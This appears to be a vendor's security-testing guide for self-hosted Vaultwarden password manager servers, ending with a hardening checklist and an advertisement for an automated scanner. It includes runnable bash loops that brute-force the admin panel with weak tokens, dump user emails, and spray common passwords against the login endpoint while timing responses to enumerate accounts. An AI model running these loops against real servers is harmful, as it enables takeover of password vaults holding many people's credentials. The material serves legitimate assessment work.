Vaultwarden Security Testing: Admin Token, Weak Credentials, Organization Data Exposure, and API Access

Vaultwarden (formerly Bitwarden_RS) is the most popular self-hosted Bitwarden-compatible password manager server, written in Rust and deployable as a single Docker container. Because it stores every user's passwords, SSH keys, API credentials, and secure notes, it is a high-value target with significant blast radius: the admin panel at /admin is disabled by default but when enabled with a weak ADMIN_TOKEN environment variable it allows unauthenticated access with just that token — granting the ability to view all users, manage organizations, and access server settings; the Bitwarden authentication endpoint at /identity/connect/token accepts username/password credentials and by default does not implement rate limiting — enabling password spraying against known user email addresses; Vaultwarden organizations allow vault item sharing between users with configurable permission levels — members with Manager or Owner role can access all shared credentials in the organization collection; once an attacker obtains a valid session token via the login endpoint, they can call /api/ciphers to enumerate all items in the user's vault including encrypted passwords — combined with the user's master password the vault is fully accessible; and Vaultwarden stores its data in a SQLite database at /data/db.sqlite3 — direct database access bypasses all authentication and yields encrypted vault content plus user account information. This guide covers systematic Vaultwarden security assessment.

Table of Contents

  1. Vaultwarden Discovery
  2. Admin Panel Token Testing
  3. Login Endpoint Rate Limiting
  4. Authenticated Vault API Access
  5. Vaultwarden Security Hardening

Admin Panel Token Testing

# Vaultwarden admin panel at /admin — disabled unless ADMIN_TOKEN is set in environment
# When enabled, the token acts as a password for the admin panel

# Check if admin panel is enabled
ADMIN_STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
  "https://vault.example.com/admin" 2>/dev/null)
echo "Admin panel status: ${ADMIN_STATUS}"
# 200 = admin panel accessible (login form shown)
# 404 = admin panel disabled (ADMIN_TOKEN not set)

# The admin panel uses a simple token comparison — test common weak tokens
for TOKEN in "admin" "password" "secret" "changeme" "vaultwarden" "bitwarden" \
             "admin123" "password123" "admin@example.com" "supersecret"; do
  RESPONSE=$(curl -s -X POST "https://vault.example.com/admin/" \
    -H "Content-Type: application/x-www-form-urlencoded" \
    -d "token=${TOKEN}" \
    -c /tmp/vw_cookie.txt -b /tmp/vw_cookie.txt \
    -w "\n%{http_code}" 2>/dev/null)
  CODE=$(echo "$RESPONSE" | tail -1)
  if [ "$CODE" == "200" ]; then
    # Check if we're on the admin dashboard (not back to login)
    BODY=$(echo "$RESPONSE" | head -1)
    if echo "$BODY" | grep -q "Users"; then
      echo "ADMIN ACCESS with token: ${TOKEN}"
      break
    fi
  fi
done

# With admin access: list all users
curl -s "https://vault.example.com/admin/users/overview" \
  -H "Cookie: $(cat /tmp/vw_cookie.txt 2>/dev/null | grep admin_access_token | awk '{print $NF}')" \
  2>/dev/null | grep -oE '"email":"[^"]*"' | head -10

Login Endpoint Rate Limiting

# Vaultwarden /identity/connect/token — Bitwarden standard auth endpoint
# Default Vaultwarden configuration does NOT include rate limiting
# This enables password spraying against known user emails

TARGET="https://vault.example.com"
EMAIL="user@example.com"

# Vaultwarden uses PBKDF2 client-side hashing — client sends pre-hashed master password
# The actual login test requires computing the client hash, but response timing reveals if
# the account exists (slower = valid account, faster = unknown account)

# Test login to check if account exists and measure response time
for PASSWORD in "Password1" "password" "123456" "admin123" "Welcome1"; do
  TIME=$(curl -s -o /dev/null -w "%{time_total}" -X POST \
    "${TARGET}/identity/connect/token" \
    -H "Content-Type: application/x-www-form-urlencoded" \
    -d "grant_type=password&username=${EMAIL}&password=${PASSWORD}&scope=api+offline_access&client_id=web&deviceType=0&deviceIdentifier=test&deviceName=test" \
    2>/dev/null)
  CODE=$(curl -s -o /dev/null -w "%{http_code}" -X POST \
    "${TARGET}/identity/connect/token" \
    -H "Content-Type: application/x-www-form-urlencoded" \
    -d "grant_type=password&username=${EMAIL}&password=${PASSWORD}&scope=api+offline_access&client_id=web&deviceType=0&deviceIdentifier=test&deviceName=test" \
    2>/dev/null)
  echo "  ${EMAIL}:${PASSWORD} → HTTP ${CODE} (${TIME}s)"
done

Vaultwarden Security Hardening

Vaultwarden Security Hardening Checklist:
Security TestMethodRisk
Admin panel enabled with weak ADMIN_TOKENPOST /admin/ with weak token values — grants full user management, org access, server configurationCritical
Login endpoint without rate limitingPOST /identity/connect/token — unlimited login attempts enable password spraying; no lockout by defaultHigh
User enumeration via login response timingLogin timing difference between valid/invalid email addresses enables user enumeration before password sprayingMedium
Vault API enumeration with valid sessionGET /api/ciphers with auth token — returns all vault items (encrypted but with master password becomes full compromise)Critical
Organization shared vault over-privileged membersReview org member permissions — Manager/Owner roles access all shared credentials in organization collectionHigh
db.sqlite3 accessible via filesystem exposureDirect database access via misconfigured web server or container volume mount yields all encrypted vault dataCritical

Automate Vaultwarden Security Testing

Ironimo tests Vaultwarden deployments for admin panel accessibility with weak ADMIN_TOKEN values, login endpoint rate limiting absence enabling password spraying against known user email addresses, user enumeration via authentication response timing differences, vault API accessibility with valid session tokens allowing all cipher enumeration, organization member over-permission granting access to shared credential collections, and the admin panel accessibility from untrusted network ranges without IP restriction at the reverse proxy layer.

Start free scan